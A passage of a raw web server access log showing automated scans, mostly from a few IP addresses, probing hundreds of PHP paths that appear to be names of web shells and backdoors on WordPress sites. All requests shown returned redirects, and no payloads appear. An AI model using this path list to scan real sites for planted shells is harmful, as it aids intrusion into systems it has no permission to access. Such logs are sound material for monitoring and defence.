+0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:00:29 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:00:30 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:00:36 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:00:48 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:35 +0300] "GET /water.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:02:29 +0300] "GET /turkshell.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:09 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:27 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:36 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:09:07 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:09:16 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:09:39 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:03 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:04 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:16 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:16 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:20 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:20 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:25 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:00 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:00 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:04 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:51 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:27 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:27 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:39 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:14:32 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:15:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:15:37 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:24 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:34 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:17 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:12 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:12 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:48 +0300] "GET /commentv.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:28 +0300] "GET /module.audio-video.asf-constructor.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:47 +0300] "GET /class-wp-widget-head.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:50 +0300] "GET /FfxGkLwPRjA.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:54 +0300] "GET /IxJqO3ZfPN4.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:56 +0300] "GET /jsX5MvEhOYV.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:59 +0300] "GET /QdADlI2XvTu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:28 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:27 +0300] "GET /nano.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:30 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:36 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:57 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:00 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 66.249.92.142 - - [12/Apr/2026:00:08:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.177 Mobile Safari/537.36 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)" 52.169.206.229 - - [12/Apr/2026:00:10:19 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:29 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:06 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:10 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:10 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:44 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:48 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:16:30 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:48 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:18:14 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:02 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:47 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:08 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:24 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:31 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:31 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:33 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:56 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:24 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:24 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:25 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:39 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:24:01 +0300] "GET /wp-mail.php/wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:24:12 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:27 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:24:50 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:24:59 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:16 +0300] "GET /uujiorjc.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:19 +0300] "GET /ZGHidhAvQu4.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:52 +0300] "GET /ace.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:58 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:00 +0300] "GET /rcDQLhszCHP.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:02 +0300] "GET /QJSWaiMU3x8.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:45 +0300] "GET /pagea.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:48 +0300] "GET /site-upload.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:52 +0300] "GET /eoudvsor.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:56 +0300] "GET /ztROVL9h2Mr.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:12 +0300] "GET /CdHjunpTsr.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:17 +0300] "GET /BJW1d8fxpTe.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:21 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:24 +0300] "GET /meta-json.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:27 +0300] "GET /remv.php.INFECTED.php HTTP/1.1" 301 795 "-" "-" 43.153.54.14 - - [11/Apr/2026:23:19:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.206.229 - - [12/Apr/2026:00:02:01 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:02:12 +0300] "GET /oij98gy.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:02:16 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:03:18 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:35 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:39 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:42 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:40 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:46 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:08:09 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:40 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:40 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:45 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:10 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:42 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:15:43 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:16:19 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:40 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:52 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:52 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:58 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:25:14 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:15 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:25:24 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:25:33 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:29 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:04 +0300] "GET /pattern-overrides-float.php HTTP/1.1" 301 795 "-" "-" 3.113.18.182 - - [11/Apr/2026:23:12:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 52.169.206.229 - - [12/Apr/2026:00:02:45 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:02:49 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:06 +0300] "GET /.mopj.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:10 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:36 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:58 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:28 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:31 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:08:24 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:08:59 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:09:23 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:34 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:49 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:54 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:11:54 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:59 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:07 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:14 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:15:55 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:16:01 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:16:02 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:16:49 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:21 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:36 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:37 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:37 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:38 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:39 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:22:30 +0300] "GET /as/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:22:50 +0300] "GET /chosen/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:00 +0300] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:46 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:46 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:50 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:51 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:24:38 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:25:03 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:25:48 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:26:13 +0300] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:31 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:12:22 +0300] "GET /eYAnhyZu16G.php HTTP/1.1" 301 795 "-" "-" 3.113.18.182 - - [11/Apr/2026:23:13:01 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 52.169.206.229 - - [11/Apr/2026:23:58:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:58:55 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:25 +0300] "GET /flox.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:33 +0300] "GET /mff.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:00:13 +0300] "GET //nwflm.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:19 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:48 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:51 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:04:55 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:14 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:18 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:44 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:19 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:54 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:09:32 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:35 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:17 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:13:59 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:14:12 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:26 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:30 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:30 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:15:36 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:02 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:39 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:16:41 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:17:15 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:18:50 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:44 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:50 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:01 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:23:01 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:26:24 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:56 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:16 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:27:17 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:09:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:11:45 +0300] "GET /YkUJz1cAtjd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:54 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [11/Apr/2026:23:59:58 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:00:56 +0300] "GET /8QXC9v.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:05 +0300] "GET //themes.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:01:20 +0300] "GET /panel.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:02:38 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:02:54 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:05:14 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:06:10 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:06 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:28 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:07:35 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:08:38 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:09:47 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:10:55 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:28 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:12:28 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [12/Apr/2026:00:16:26 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:17:00 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:17:00 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:17:29 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:18:37 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:19:12 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:20:45 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:57 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:57 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:21:57 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:22:04 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:22:21 +0300] "GET /about/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:22:39 +0300] "GET /file/chosen.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:23:30 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:24:33 +0300] "GET /config-backup.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:26:12 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:09:50 +0300] "GET /5drd24.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:09:53 +0300] "GET /YRFLoxBi.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:09:56 +0300] "GET /BjNYgNIU.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:09:59 +0300] "GET /wp-damin.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:10:02 +0300] "GET /CgQl4OuFhX6.php HTTP/1.1" 301 795 "-" "-" 51.103.72.7 - - [11/Apr/2026:22:13:02 +0300] "GET 